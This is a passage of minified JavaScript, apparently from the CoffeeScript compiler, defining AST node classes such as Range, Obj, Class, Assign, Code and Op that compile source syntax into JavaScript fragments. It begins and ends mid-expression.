func.prototype;\\n\"+s+\"var child = new ctor, result = func.apply(child, args);\\n\"+s+\"return Object(result) === result ? result : child;\\n\"+this.tab+\"})(\"),this.variable.compileToFragments(e,T),this.makeCode(\", \"),t,this.makeCode(\", function(){})\"))):(n=[],r=new Q(this.variable),(o=r.properties.pop())&&r.isComplex()?(u=e.scope.freeVariable(\"ref\"),n=n.concat(this.makeCode(\"(\"+u+\" = \"),r.compileToFragments(e,T),this.makeCode(\")\"),o.compileToFragments(e))):(i=r.compileToFragments(e,S),I.test(st(i))&&(i=this.wrapInBraces(i)),o?(u=st(i),i.push.apply(i,o.compileToFragments(e))):u=\"null\",n=n.concat(i)),n=n.concat(this.makeCode(\".apply(\"+u+\", \"),t,this.makeCode(\")\")))},n}(i),e.Extends=p=function(e){function t(e,t){this.child=e,this.parent=t}return wt(t,e),t.prototype.children=[\"child\",\"parent\"],t.prototype.compileToFragments=function(e){return(new o(new Q(new L(bt(\"extend\",e))),[this.child,this.parent])).compileToFragments(e)},t}(i),e.Access=t=function(e){function t(e,t){this.name=e,this.name.asKey=!0,this.soak=\"soak\"===t}return wt(t,e),t.prototype.children=[\"name\"],t.prototype.compileToFragments=function(e){var t;return t=this.name.compileToFragments(e),m.test(st(t))?t.unshift(this.makeCode(\".\")):(t.unshift(this.makeCode(\"[\")),t.push(this.makeCode(\"]\"))),t},t.prototype.isComplex=O,t}(i),e.Index=E=function(e){function t(e){this.index=e}return wt(t,e),t.prototype.children=[\"index\"],t.prototype.compileToFragments=function(e){return[].concat(this.makeCode(\"[\"),this.index.compileToFragments(e,C),this.makeCode(\"]\"))},t.prototype.isComplex=function(){return this.index.isComplex()},t}(i),e.Range=j=function(e){function t(e,t,n){this.from=e,this.to=t,this.exclusive=\"exclusive\"===n,this.equals=this.exclusive?\"\":\"=\"}return wt(t,e),t.prototype.children=[\"from\",\"to\"],t.prototype.compileVariables=function(e){var t,n,r,i,s,o;return e=lt(e,{top:!0}),t=tt(e,\"isComplex\"),n=this.cacheToCodeFragments(this.from.cache(e,T,t)),this.fromC=n[0],this.fromVar=n[1],r=this.cacheToCodeFragments(this.to.cache(e,T,t)),this.toC=r[0],this.toVar=r[1],(o=tt(e,\"step\"))&&(i=this.cacheToCodeFragments(o.cache(e,T,t)),this.step=i[0],this.stepVar=i[1]),s=[this.fromVar.match(M),this.toVar.match(M)],this.fromNum=s[0],this.toNum=s[1],this.stepVar?this.stepNum=this.stepVar.match(M):void 0},t.prototype.compileNode=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p,d;return this.fromVar||this.compileVariables(e),e.index?(u=this.fromNum&&this.toNum,s=tt(e,\"index\"),o=tt(e,\"name\"),f=o&&o!==s,d=s+\" = \"+this.fromC,this.toC!==this.toVar&&(d+=\", \"+this.toC),this.step!==this.stepVar&&(d+=\", \"+this.step),l=[s+\" <\"+this.equals,s+\" >\"+this.equals],a=l[0],i=l[1],n=this.stepNum?ht(this.stepNum[0])>0?a+\" \"+this.toVar:i+\" \"+this.toVar:u?(c=[ht(this.fromNum[0]),ht(this.toNum[0])],r=c[0],p=c[1],c,p>=r?a+\" \"+p:i+\" \"+p):(t=this.stepVar?this.stepVar+\" > 0\":this.fromVar+\" <= \"+this.toVar,t+\" ? \"+a+\" \"+this.toVar+\" : \"+i+\" \"+this.toVar),h=this.stepVar?s+\" += \"+this.stepVar:u?f?p>=r?\"++\"+s:\"--\"+s:p>=r?s+\"++\":s+\"--\":f?t+\" ? ++\"+s+\" : --\"+s:t+\" ? \"+s+\"++ : \"+s+\"--\",f&&(d=o+\" = \"+d),f&&(h=o+\" = \"+h),[this.makeCode(d+\"; \"+n+\"; \"+h)]):this.compileArray(e)},t.prototype.compileArray=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p;return this.fromNum&&this.toNum&&20>=Math.abs(this.fromNum-this.toNum)?(f=function(){h=[];for(var e=l=+this.fromNum,t=+this.toNum;t>=l?t>=e:e>=t;t>=l?e++:e--)h.push(e);return h}.apply(this),this.exclusive&&f.pop(),[this.makeCode(\"[\"+f.join(\", \")+\"]\")]):(o=this.tab+X,s=e.scope.freeVariable(\"i\",{single:!0}),c=e.scope.freeVariable(\"results\"),a=\"\\n\"+o+c+\" = [];\",this.fromNum&&this.toNum?(e.index=s,n=st(this.compileNode(e))):(p=s+\" = \"+this.fromC+(this.toC!==this.toVar?\", \"+this.toC:\"\"),r=this.fromVar+\" <= \"+this.toVar,n=\"var \"+p+\"; \"+r+\" ? \"+s+\" <\"+this.equals+\" \"+this.toVar+\" : \"+s+\" >\"+this.equals+\" \"+this.toVar+\"; \"+r+\" ? \"+s+\"++ : \"+s+\"--\"),u=\"{ \"+c+\".push(\"+s+\"); }\\n\"+o+\"return \"+c+\";\\n\"+e.indent,i=function(e){return null!=e?e.contains(ut):void 0},(i(this.from)||i(this.to))&&(t=\", arguments\"),[this.makeCode(\"(function() {\"+a+\"\\n\"+o+\"for (\"+n+\")\"+u+\"}).apply(this\"+(null!=t?t:\"\")+\")\")])},t}(i),e.Slice=U=function(e){function t(e){this.range=e,t.__super__.constructor.call(this)}return wt(t,e),t.prototype.children=[\"range\"],t.prototype.compileNode=function(e){var t,n,r,i,s,o,u;return s=this.range,o=s.to,r=s.from,i=r&&r.compileToFragments(e,C)||[this.makeCode(\"0\")],o&&(t=o.compileToFragments(e,C),n=st(t),(this.range.exclusive||-1!==+n)&&(u=\", \"+(this.range.exclusive?n:I.test(n)?\"\"+(+n+1):(t=o.compileToFragments(e,S),\"+\"+st(t)+\" + 1 || 9e9\")))),[this.makeCode(\".slice(\"+st(i)+(u||\"\")+\")\")]},t}(i),e.Obj=_=function(e){function n(e,t){this.generated=null!=t?t:!1,this.objects=this.properties=e||[]}return wt(n,e),n.prototype.children=[\"properties\"],n.prototype.compileNode=function(e){var n,i,s,o,u,a,f,c,h,p,d,v,m,g,y,b,w,E,S,x,T;if(S=this.properties,this.generated)for(f=0,m=S.length;m>f;f++)b=S[f],b instanceof Q&&b.error(\"cannot have an implicit value in an implicit object\");for(i=h=0,g=S.length;g>h&&(E=S[i],!((E.variable||E).base instanceof H));i=++h);for(s=S.length>i,u=e.indent+=X,v=this.lastNonComment(this.properties),n=[],s&&(w=e.scope.freeVariable(\"obj\"),n.push(this.makeCode(\"(\\n\"+u+w+\" = \"))),n.push(this.makeCode(\"{\"+(0===S.length||0===i?\"}\":\"\\n\"))),o=d=0,y=S.length;y>d;o=++d)E=S[o],o===i&&(0!==o&&n.push(this.makeCode(\"\\n\"+u+\"}\")),n.push(this.makeCode(\",\\n\"))),c=o===S.length-1||o===i-1?\"\":E===v||E instanceof l?\"\\n\":\",\\n\",a=E instanceof l?\"\":u,s&&i>o&&(a+=X),E instanceof r&&E.variable instanceof Q&&E.variable.hasProperties()&&E.variable.error(\"invalid object key\"),E instanceof Q&&E[\"this\"]&&(E=new r(E.properties[0].name,E,\"object\")),E instanceof l||(i>o?(E instanceof r||(E=new r(E,E,\"object\")),(E.variable.base||E.variable).asKey=!0):(E instanceof r?(p=E.variable,T=E.value):(x=E.base.cache(e),p=x[0],T=x[1]),E=new r(new Q(new L(w),[new t(p)]),T))),a&&n.push(this.makeCode(a)),n.push.apply(n,E.compileToFragments(e,k)),c&&n.push(this.makeCode(c));return s?n.push(this.makeCode(\",\\n\"+u+w+\"\\n\"+this.tab+\")\")):0!==S.length&&n.push(this.makeCode(\"\\n\"+this.tab+\"}\")),this.front&&!s?this.wrapInBraces(n):n},n.prototype.assigns=function(e){var t,n,r,i;for(i=this.properties,t=0,n=i.length;n>t;t++)if(r=i[t],r.assigns(e))return!0;return!1},n}(i),e.Arr=n=function(e){function t(e){this.objects=e||[]}return wt(t,e),t.prototype.children=[\"objects\"],t.prototype.compileNode=function(e){var t,n,r,i,s,o,u;if(!this.objects.length)return[this.makeCode(\"[]\")];if(e.indent+=X,t=z.compileSplattedArray(e,this.objects),t.length)return t;for(t=[],n=function(){var t,n,r,i;for(r=this.objects,i=[],t=0,n=r.length;n>t;t++)u=r[t],i.push(u.compileToFragments(e,T));return i}.call(this),i=s=0,o=n.length;o>s;i=++s)r=n[i],i&&t.push(this.makeCode(\", \")),t.push.apply(t,r);return st(t).indexOf(\"\\n\")>=0?(t.unshift(this.makeCode(\"[\\n\"+e.indent)),t.push(this.makeCode(\"\\n\"+this.tab+\"]\"))):(t.unshift(this.makeCode(\"[\")),t.push(this.makeCode(\"]\"))),t},t.prototype.assigns=function(e){var t,n,r,i;for(i=this.objects,t=0,n=i.length;n>t;t++)if(r=i[t],r.assigns(e))return!0;return!1},t}(i),e.Class=u=function(e){function n(e,t,n){this.variable=e,this.parent=t,this.body=null!=n?n:new s,this.boundFuncs=[],this.body.classBody=!0}return wt(n,e),n.prototype.children=[\"variable\",\"parent\",\"body\"],n.prototype.determineName=function(){var e,n,r;return this.variable?(n=this.variable.properties,r=n[n.length-1],e=r?r instanceof t&&r.name.value:this.variable.base.value,St.call(q,e)>=0&&this.variable.error(\"class variable name may not be \"+e),e&&(e=m.test(e)&&e)):null},n.prototype.setContext=function(e){return this.body.traverseChildren(!1,function(t){return t.classBody?!1:t instanceof L&&\"this\"===t.value?t.value=e:t instanceof a&&t.bound?t.context=e:void 0})},n.prototype.addBoundFunctions=function(e){var n,r,i,s,o;for(o=this.boundFuncs,r=0,i=o.length;i>r;r++)n=o[r],s=(new Q(new L(\"this\"),[new t(n)])).compile(e),this.ctor.body.unshift(new L(s+\" = \"+bt(\"bind\",e)+\"(\"+s+\", this)\"))},n.prototype.addProperties=function(e,n,i){var s,o,u,f,l,c;return c=e.base.properties.slice(0),f=function(){var e;for(e=[];o=c.shift();)o instanceof r&&(u=o.variable.base,delete o.context,l=o.value,\"constructor\"===u.value?(this.ctor&&o.error(\"cannot define more than one constructor in a class\"),l.bound&&o.error(\"cannot define a constructor as a bound function\"),l instanceof a?o=this.ctor=l:(this.externalCtor=i.classScope.freeVariable(\"class\"),o=new r(new L(this.externalCtor),l))):o.variable[\"this\"]?l[\"static\"]=!0:(s=u.isComplex()?new E(u):new t(u),o.variable=new Q(new L(n),[new t(new L(\"prototype\")),s]),l instanceof a&&l.bound&&(this.boundFuncs.push(u),l.bound=!1))),e.push(o);return e}.call(this),et(f)},n.prototype.walkBody=function(e,t){return this.traverseChildren(!1,function(i){return function(o){var u,a,f,l,c,h,p;if(u=!0,o instanceof n)return!1;if(o instanceof s){for(p=a=o.expressions,f=l=0,c=p.length;c>l;f=++l)h=p[f],h instanceof r&&h.variable.looksStatic(e)?h.value[\"static\"]=!0:h instanceof Q&&h.isObject(!0)&&(u=!1,a[f]=i.addProperties(h,e,t));o.expressions=a=it(a)}return u&&!(o instanceof n)}}(this))},n.prototype.hoistDirectivePrologue=function(){var e,t,n;for(t=0,e=this.body.expressions;(n=e[t])&&n instanceof l||n instanceof Q&&n.isString();)++t;return this.directives=e.splice(0,t)},n.prototype.ensureConstructor=function(e){return this.ctor||(this.ctor=new a,this.externalCtor?this.ctor.body.push(new L(this.externalCtor+\".apply(this, arguments)\")):this.parent&&this.ctor.body.push(new L(e+\".__super__.constructor.apply(this, arguments)\")),this.ctor.body.makeReturn(),this.body.expressions.unshift(this.ctor)),this.ctor.ctor=this.ctor.name=e,this.ctor.klass=null,this.ctor.noReturn=!0},n.prototype.compileNode=function(e){var t,n,i,u,f,l,c,h,d;return(u=this.body.jumps())&&u.error(\"Class bodies cannot contain pure statements\"),(n=this.body.contains(ut))&&n.error(\"Class bodies shouldn't reference arguments\"),c=this.determineName()||\"_Class\",c.reserved&&(c=\"_\"+c),l=new L(c),i=new a([],s.wrap([this.body])),t=[],e.classScope=i.makeScope(e.scope),this.hoistDirectivePrologue(),this.setContext(c),this.walkBody(c,e),this.ensureConstructor(c),this.addBoundFunctions(e),this.body.spaced=!0,this.body.expressions.push(l),this.parent&&(d=new L(e.classScope.freeVariable(\"superClass\",{reserve:!1})),this.body.expressions.unshift(new p(l,d)),i.params.push(new P(d)),t.push(this.parent)),(h=this.body.expressions).unshift.apply(h,this.directives),f=new H(new o(i,t)),this.variable&&(f=new r(this.variable,f)),f.compileToFragments(e)},n}(i),e.Assign=r=function(e){function n(e,t,n,r){var i,s,o;this.variable=e,this.value=t,this.context=n,this.param=r&&r.param,this.subpattern=r&&r.subpattern,o=s=this.variable.unwrapAll().value,i=St.call(q,o)>=0,i&&\"object\"!==this.context&&this.variable.error('variable name may not be \"'+s+'\"')}return wt(n,e),n.prototype.children=[\"variable\",\"value\"],n.prototype.isStatement=function(e){return(null!=e?e.level:void 0)===k&&null!=this.context&&St.call(this.context,\"?\")>=0},n.prototype.assigns=function(e){return this[\"object\"===this.context?\"value\":\"variable\"].assigns(e)},n.prototype.unfoldSoak=function(e){return yt(e,this,\"variable\")},n.prototype.compileNode=function(e){var t,n,r,i,s,o,u,f,l,c,h,p,d,v;if(r=this.variable instanceof Q){if(this.variable.isArray()||this.variable.isObject())return this.compilePatternMatch(e);if(this.variable.isSplice())return this.compileSplice(e);if(\"||=\"===(f=this.context)||\"&&=\"===f||\"?=\"===f)return this.compileConditional(e);if(\"**=\"===(l=this.context)||\"//=\"===l||\"%%=\"===l)return this.compileSpecialMath(e)}return this.value instanceof a&&(this.value[\"static\"]?(this.value.klass=this.variable.base,this.value.name=this.variable.properties[0],this.value.variable=this.variable):(null!=(c=this.variable.properties)?c.length:void 0)>=2&&(h=this.variable.properties,o=h.length>=3?xt.call(h,0,i=h.length-2):(i=0,[]),u=h[i++],s=h[i++],\"prototype\"===(null!=(p=u.name)?p.value:void 0)&&(this.value.klass=new Q(this.variable.base,o),this.value.name=s,this.value.variable=this.variable))),this.context||(v=this.variable.unwrapAll(),v.isAssignable()||this.variable.error('\"'+this.variable.compile(e)+'\" cannot be assigned'),(\"function\"==typeof v.hasProperties?v.hasProperties():void 0)||(this.param?e.scope.add(v.value,\"var\"):e.scope.find(v.value))),d=this.value.compileToFragments(e,T),n=this.variable.compileToFragments(e,T),\"object\"===this.context?n.concat(this.makeCode(\": \"),d):(t=n.concat(this.makeCode(\" \"+(this.context||\"=\")+\" \"),d),T>=e.level?t:this.wrapInBraces(t))},n.prototype.compilePatternMatch=function(e){var r,i,s,o,u,a,f,l,c,p,d,v,g,y,b,w,S,x,C,A,O,M,_,D,P,j,F,I;if(D=e.level===k,j=this.value,y=this.variable.base.objects,!(b=y.length))return s=j.compileToFragments(e),e.level>=N?this.wrapInBraces(s):s;if(l=this.variable.isObject(),!D||1!==b||(g=y[0])instanceof z){for(F=j.compileToFragments(e,T),I=st(F),i=[],o=!1,(!m.test(I)||this.variable.assigns(I))&&(i.push([this.makeCode((w=e.scope.freeVariable(\"ref\"))+\" = \")].concat(xt.call(F))),F=[this.makeCode(w)],I=w),a=p=0,d=y.length;d>p;a=++p){if(g=y[a],f=a,l&&(g instanceof n?(A=g,O=A.variable,f=O.base,g=A.value):g.base instanceof H?(M=(new Q(g.unwrapAll())).cacheReference(e),g=M[0],f=M[1]):f=g[\"this\"]?g.properties[0].name:g),!o&&g instanceof z)v=g.name.unwrap().value,g=g.unwrap(),P=b+\" <= \"+I+\".length ? \"+bt(\"slice\",e)+\".call(\"+I+\", \"+a,(_=b-a-1)?(c=e.scope.freeVariable(\"i\",{single:!0}),P+=\", \"+c+\" = \"+I+\".length - \"+_+\") : (\"+c+\" = \"+a+\", [])\"):P+=\") : []\",P=new L(P),o=c+\"++\";else{if(!o&&g instanceof h){(_=b-a-1)&&(1===_?o=I+\".length - 1\":(c=e.scope.freeVariable(\"i\",{single:!0}),P=new L(c+\" = \"+I+\".length - \"+_),o=c+\"++\",i.push(P.compileToFragments(e,T))));continue}v=g.unwrap().value,(g instanceof z||g instanceof h)&&g.error(\"multiple splats/expansions are disallowed in an assignment\"),\"number\"==typeof f?(f=new L(o||f),r=!1):r=l&&m.test(f.unwrap().value||0),P=new Q(new L(I),[new(r?t:E)(f)])}null!=v&&St.call(B,v)>=0&&g.error(\"assignment to a reserved word: \"+g.compile(e)),i.push((new n(g,P,null,{param:this.param,subpattern:!0})).compileToFragments(e,T))}return D||this.subpattern||i.push(F),u=this.joinFragmentArrays(i,\", \"),T>e.level?u:this.wrapInBraces(u)}return g instanceof n?(S=g,x=S.variable,f=x.base,g=S.value):f=l?g[\"this\"]?g.properties[0].name:g:new L(0),r=m.test(f.unwrap().value||0),j=new Q(j),j.properties.push(new(r?t:E)(f)),C=g.unwrap().value,St.call(B,C)>=0&&g.error(\"assignment to a reserved word: \"+g.compile(e)),(new n(g,j,null,{param:this.param})).compileToFragments(e,k)},n.prototype.compileConditional=function(e){var t,r,i,s;return i=this.variable.cacheReference(e),r=i[0],s=i[1],!r.properties.length&&r.base instanceof L&&\"this\"!==r.base.value&&!e.scope.check(r.base.value)&&this.variable.error('the variable \"'+r.base.value+\"\\\" can't be assigned with \"+this.context+\" because it has not been declared before\"),St.call(this.context,\"?\")>=0?(e.isExistentialEquals=!0,(new b(new c(r),s,{type:\"if\"})).addElse(new n(s,this.value,\"=\")).compileToFragments(e)):(t=(new D(this.context.slice(0,-1),r,new n(s,this.value,\"=\"))).compileToFragments(e),T>=e.level?t:this.wrapInBraces(t))},n.prototype.compileSpecialMath=function(e){var t,r,i;return r=this.variable.cacheReference(e),t=r[0],i=r[1],(new n(t,new D(this.context.slice(0,-1),i,this.value))).compileToFragments(e)},n.prototype.compileSplice=function(e){var t,n,r,i,s,o,u,a,f,l,c,h;return u=this.variable.properties.pop().range,r=u.from,l=u.to,n=u.exclusive,o=this.variable.compile(e),r?(a=this.cacheToCodeFragments(r.cache(e,N)),i=a[0],s=a[1]):i=s=\"0\",l?r instanceof Q&&r.isSimpleNumber()&&l instanceof Q&&l.isSimpleNumber()?(l=l.compile(e)-s,n||(l+=1)):(l=l.compile(e,S)+\" - \"+s,n||(l+=\" + 1\")):l=\"9e9\",f=this.value.cache(e,T),c=f[0],h=f[1],t=[].concat(this.makeCode(\"[].splice.apply(\"+o+\", [\"+i+\", \"+l+\"].concat(\"),c,this.makeCode(\")), \"),h),e.level>k?this.wrapInBraces(t):t},n}(i),e.Code=a=function(e){function t(e,t,n){this.params=e||[],this.body=t||new s,this.bound=\"boundfunc\"===n,this.isGenerator=!!this.body.contains(function(e){var t;return e instanceof D&&(\"yield\"===(t=e.operator)||\"yield*\"===t)})}return wt(t,e),t.prototype.children=[\"params\",\"body\"],t.prototype.isStatement=function(){return!!this.ctor},t.prototype.jumps=O,t.prototype.makeScope=function(e){return new R(e,this.body,this)},t.prototype.compileNode=function(e){var i,u,a,f,l,c,p,d,v,m,g,y,w,E,x,T,N,C,k,A,O,M,_,H,B,j,F,I,q,R,U,z,W;if(this.bound&&(null!=(_=e.scope.method)?_.bound:void 0)&&(this.context=e.scope.method.context),this.bound&&!this.context)return this.context=\"_this\",W=new t([new P(new L(this.context))],new s([this])),u=new o(W,[new L(\"this\")]),u.updateLocationDataIfMissing(this.locationData),u.compileNode(e);for(e.scope=tt(e,\"classScope\")||this.makeScope(e.scope),e.scope.shared=tt(e,\"sharedScope\"),e.indent+=X,delete e.bare,delete e.isExistentialEquals,k=[],f=[],H=this.params,c=0,v=H.length;v>c;c++)C=H[c],C instanceof h||e.scope.parameter(C.asReference(e));for(B=this.params,p=0,m=B.length;m>p;p++)if(C=B[p],C.splat||C instanceof h){for(j=this.params,d=0,g=j.length;g>d;d++)N=j[d],N instanceof h||!N.name.value||e.scope.add(N.name.value,\"var\",!0);q=new r(new Q(new n(function(){var t,n,r,i;for(r=this.params,i=[],n=0,t=r.length;t>n;n++)N=r[n],i.push(N.asReference(e));return i}.call(this))),new Q(new L(\"arguments\")));break}for(F=this.params,T=0,y=F.length;y>T;T++)C=F[T],C.isComplex()?(U=M=C.asReference(e),C.value&&(U=new D(\"?\",M,C.value)),f.push(new r(new Q(C.name),U,\"=\",{param:!0}))):(M=C,C.value&&(x=new L(M.name.value+\" == null\"),U=new r(new Q(C.name),C.value,\"=\"),f.push(new b(x,U)))),q||k.push(M);for(z=this.body.isEmpty(),q&&f.unshift(q),f.length&&(I=this.body.expressions).unshift.apply(I,f),l=A=0,w=k.length;w>A;l=++A)N=k[l],k[l]=N.compileToFragments(e),e.scope.parameter(st(k[l]));for(R=[],this.eachParamName(function(e,t){return St.call(R,e)>=0&&t.error(\"multiple parameters named \"+e),R.push(e)}),z||this.noReturn||this.body.makeReturn(),a=\"function\",this.isGenerator&&(a+=\"*\"),this.ctor&&(a+=\" \"+this.name),a+=\"(\",i=[this.makeCode(a)],l=O=0,E=k.length;E>O;l=++O)N=k[l],l&&i.push(this.makeCode(\", \")),i.push.apply(i,N);return i.push(this.makeCode(\") {\")),this.body.isEmpty()||(i=i.concat(this.makeCode(\"\\n\"),this.body.compileWithDeclarations(e),this.makeCode(\"\\n\"+this.tab))),i.push(this.makeCode(\"}\")),this.ctor?[this.makeCode(this.tab)].concat(xt.call(i)):this.front||e.level>=S?this.wrapInBraces(i):i},t.prototype.eachParamName=function(e){var t,n,r,i,s;for(i=this.params,s=[],t=0,n=i.length;n>t;t++)r=i[t],s.push(r.eachName(e));return s},t.prototype.traverseChildren=function(e,n){return e?t.__super__.traverseChildren.call(this,e,n):void 0},t}(i),e.Param=P=function(e){function t(e,t,n){var r,i;this.name=e,this.value=t,this.splat=n,i=r=this.name.unwrapAll().value,St.call(q,i)>=0&&this.name.error('parameter name \"'+r+'\" is not allowed')}return wt(t,e),t.prototype.children=[\"name\",\"value\"],t.prototype.compileToFragments=function(e){return this.name.compileToFragments(e,T)},t.prototype.asReference=function(e){var t,n;return this.reference?this.reference:(n=this.name,n[\"this\"]?(t=n.properties[0].name.value,t.reserved&&(t=\"_\"+t),n=new L(e.scope.freeVariable(t))):n.isComplex()&&(n=new L(e.scope.freeVariable(\"arg\"))),n=new Q(n),this.splat&&(n=new z(n)),n.updateLocationDataIfMissing(this.locationData),this.reference=n)},t.prototype.isComplex=function(){return this.name.isComplex()},t.prototype.eachName=function(e,t){var n,i,s,o,u,a;if(null==t&&(t=this.name),n=function(t){return e(\"@\"+t.properties[0].name.value,t)},t instanceof L)return e(t.value,t);if(t instanceof Q)return n(t);for(a=t.objects,i=0,s=a.length;s>i;i++)u=a[i],u instanceof r?this.eachName(e,u.value.unwrap()):u instanceof z?(o=u.name.unwrap(),e(o.value,o)):u instanceof Q?u.isArray()||u.isObject()?this.eachName(e,u.base):u[\"this\"]?n(u):e(u.base.value,u.base):u instanceof h||u.error(\"illegal parameter \"+u.compile())},t}(i),e.Splat=z=function(e){function t(e){this.name=e.compile?e:new L(e)}return wt(t,e),t.prototype.children=[\"name\"],t.prototype.isAssignable=Y,t.prototype.assigns=function(e){return this.name.assigns(e)},t.prototype.compileToFragments=function(e){return this.name.compileToFragments(e)},t.prototype.unwrap=function(){return this.name},t.compileSplattedArray=function(e,n,r){var i,s,o,u,a,f,l,c,h,p,d;for(l=-1;(d=n[++l])&&!(d instanceof t););if(l>=n.length)return[];if(1===n.length)return d=n[0],a=d.compileToFragments(e,T),r?a:[].concat(d.makeCode(bt(\"slice\",e)+\".call(\"),a,d.makeCode(\")\"));for(i=n.slice(l),f=c=0,p=i.length;p>c;f=++c)d=i[f],o=d.compileToFragments(e,T),i[f]=d instanceof t?[].concat(d.makeCode(bt(\"slice\",e)+\".call(\"),o,d.makeCode(\")\")):[].concat(d.makeCode(\"[\"),o,d.makeCode(\"]\"));return 0===l?(d=n[0],u=d.joinFragmentArrays(i.slice(1),\", \"),i[0].concat(d.makeCode(\".concat(\"),u,d.makeCode(\")\"))):(s=function(){var t,r,i,s;for(i=n.slice(0,l),s=[],t=0,r=i.length;r>t;t++)d=i[t],s.push(d.compileToFragments(e,T));return s}(),s=n[0].joinFragmentArrays(s,\", \"),u=n[l].joinFragmentArrays(i,\", \"),h=n[n.length-1],[].concat(n[0].makeCode(\"[\"),s,n[l].makeCode(\"].concat(\"),u,h.makeCode(\")\")))},t}(i),e.Expansion=h=function(e){function t(){return t.__super__.constructor.apply(this,arguments)}return wt(t,e),t.prototype.isComplex=O,t.prototype.compileNode=function(){return this.error(\"Expansion must be used inside a destructuring assignment or parameter list\")},t.prototype.asReference=function(){return this},t.prototype.eachName=function(){},t}(i),e.While=G=function(e){function t(e,t){this.condition=(null!=t?t.invert:void 0)?e.invert():e,this.guard=null!=t?t.guard:void 0}return wt(t,e),t.prototype.children=[\"condition\",\"guard\",\"body\"],t.prototype.isStatement=Y,t.prototype.makeReturn=function(e){return e?t.__super__.makeReturn.apply(this,arguments):(this.returns=!this.jumps({loop:!0}),this)},t.prototype.addBody=function(e){return this.body=e,this},t.prototype.jumps=function(){var e,t,n,r,i;if(e=this.body.expressions,!e.length)return!1;for(t=0,r=e.length;r>t;t++)if(i=e[t],n=i.jumps({loop:!0}))return n;return!1},t.prototype.compileNode=function(e){var t,n,r,i;return e.indent+=X,i=\"\",n=this.body,n.isEmpty()?n=this.makeCode(\"\"):(this.returns&&(n.makeReturn(r=e.scope.freeVariable(\"results\")),i=\"\"+this.tab+r+\" = [];\\n\"),this.guard&&(n.expressions.length>1?n.expressions.unshift(new b((new H(this.guard)).invert(),new L(\"continue\"))):this.guard&&(n=s.wrap([new b(this.guard,n)]))),n=[].concat(this.makeCode(\"\\n\"),n.compileToFragments(e,k),this.makeCode(\"\\n\"+this.tab))),t=[].concat(this.makeCode(i+this.tab+\"while (\"),this.condition.compileToFragments(e,C),this.makeCode(\") {\"),n,this.makeCode(\"}\")),this.returns&&t.push(this.makeCode(\"\\n\"+this.tab+\"return \"+r+\";\")),t},t}(i),e.Op=D=function(e){function n(e,t,n,r){if(\"in\"===e)return new w(t,n);if(\"do\"===e)return this.generateDo(t);if(\"new\"===e){if(t instanceof o&&!t[\"do\"]&&!t.isNew)return t.newInstance();(t instanceof a&&t.bound||t[\"do\"])&&(t=new H(t))}return this.operator=i[e]||e,this.first=t,this.second=n,this.flip=!!r,this}var i,s;return wt(n,e),i={\"==\":\"===\",\"!=\":\"!==\",of:\"in\",yieldfrom:\"yield*\"},s={\"!==\":\"===\",\"===\":\"!==\"},n.prototype.children=[\"first\",\"second\"],n.prototype.isSimpleNumber=O,n.prototype.isYield=function(){var e;return\"yield\"===(e=this.operator)||\"yield*\"===e},n.prototype.isYieldReturn=function(){return this.isYield()&&this.first instanceof F},n.prototype.isUnary=function(){return!this.second},n.prototype.isComplex=function(){var e;return!(this.isUnary()&&(\"+\"===(e=this.operator)||\"-\"===e)&&this.first instanceof Q&&this.first.isSimpleNumber())},n.prototype.isChainable=function(){var e;return\"<\"===(e=this.operator)||\">\"===e||\">=\"===e||\"<=\"===e||\"===\"===e||\"!==\"===e},n.prototype.invert=function(){var e,t,r,i,o;if(this.isChainable()&&this.first.isChainable()){for(e=!0,t=this;t&&t.operator;)e&&(e=t.operator in s),t=t.first;if(!e)return(new H(this)).invert();for(t=this;t&&t.operator;)t.invert=!t.invert,t.operator=s[t.operator],t=t.first;return this}return(i=s[this.operator])?(this.operator=i,this.first.unwrap()instanceof n&&this.first.invert(),this):this.second?(new H(this)).invert():\"!\"===this.operator&&(r=this.first.unwrap())instanceof n&&(\"!\"===(o=r.operator)||\"in\"===o||\"instanceof\"===o)?r:new n(\"!\",this)},n.prototype.unfoldSoak=function(e){var t;return(\"++\"===(t=this.operator)||\"--\"===t||\"delete\"===t)&&yt(e,this,\"first\")},n.prototype.generateDo=function(e){var t,n,i,s,u,f,l,c;for(f=[],n=e instanceof r&&(l=e.value.unwrap())instanceof a?l:e,c=n.params||[],i=0,s=c.length;s>i;i++)u=c[i],u.value?(f.push(u.value),delete u.value):f.push(u);return t=new o(e,f),t[\"do\"]=!0,t},n.prototype.compileNode=function(e){var t,n,r,i,s,o;if(n=this.isChainable()&&this.first.isChainable(),n||(this.first.front=this.front),\"delete\"===this.operator&&e.scope.check(this.first.unwrapAll().value)&&this.error(\"delete operand may not be argument or var\"),(\"--\"===(i=this.operator)||\"++\"===i)&&(s=this.first.unwrapAll().value,St.call(q,s)>=0)&&this.error('cannot increment/decrement \"'+this.first.unwrapAll().value+'\"'),this.isYield())return this.compileYield(e);if(this.isUnary())return this.compileUnary(e);if(n)return this.compileChain(e);switch(this.operator){case\"?\":return this.compileExistence(e);case\"**\":return this.compilePower(e);case\"//\":return this.compileFloorDivision(e);case\"%%\":return this.compileModulo(e);default:return r=this.first.compileToFragments(e,N),o=this.second.compileToFragments(e,N),t=[].concat(r,this.makeCode(\" \"+this.operator+\" \"),o),N>=e.level?t:this.wrapInBraces(t)}},n.prototype.compileChain=function(e){var t,n,r,i;return r=this.first.second.cache(e),this.first.second=r[0],i=r[1],n=this.first.compileToFragments(e,N),t=n.concat(this.makeCode(\" \"+(this.invert?\"&&\":\"||\")+\" \"),i.compileToFragments(e),this.makeCode(\" \"+this.operator+\" \"),this.second.compileToFragments(e,N)),this.wrapInBraces(t)},n.prototype.compileExistence=function(e){var t,n;return this.first.isComplex()?(n=new L(e.scope.freeVariable(\"ref\")),t=new H(new r(n,this.first))):(t=this.first,n=t),(new b(new c(t),n,{type:\"if\"})).addElse(this.second).compileToFragments(e)},n.prototype.compileUnary=function(e){var t,r,i;return r=[],t=this.operator,r.push([this.makeCode(t)]),\"!\"===t&&this.first instanceof c?(this.first.negated=!this.first.negated,this.first.compileToFragments(e)):e.level>=S?(new H(this)).compileToFragments(e):(i=\"+\"===t||\"-\"===t,(\"new\"===t||\"typeof\"===t||\"delete\"===t||i&&this.first instanceof n&&this.first.operator===t)&&r.push([this.makeCode(\" \")]),(i&&this.first instanceof n||\"new\"===t&&this.first.isStatement(e))&&(this.first=new H(this.first)),r.push(this.first.compileToFragments(e,N)),this.flip&&r.reverse(),this.joinFragmentArrays(r,\"\"))},n.prototype.compileYield=function(e){var t,n;return 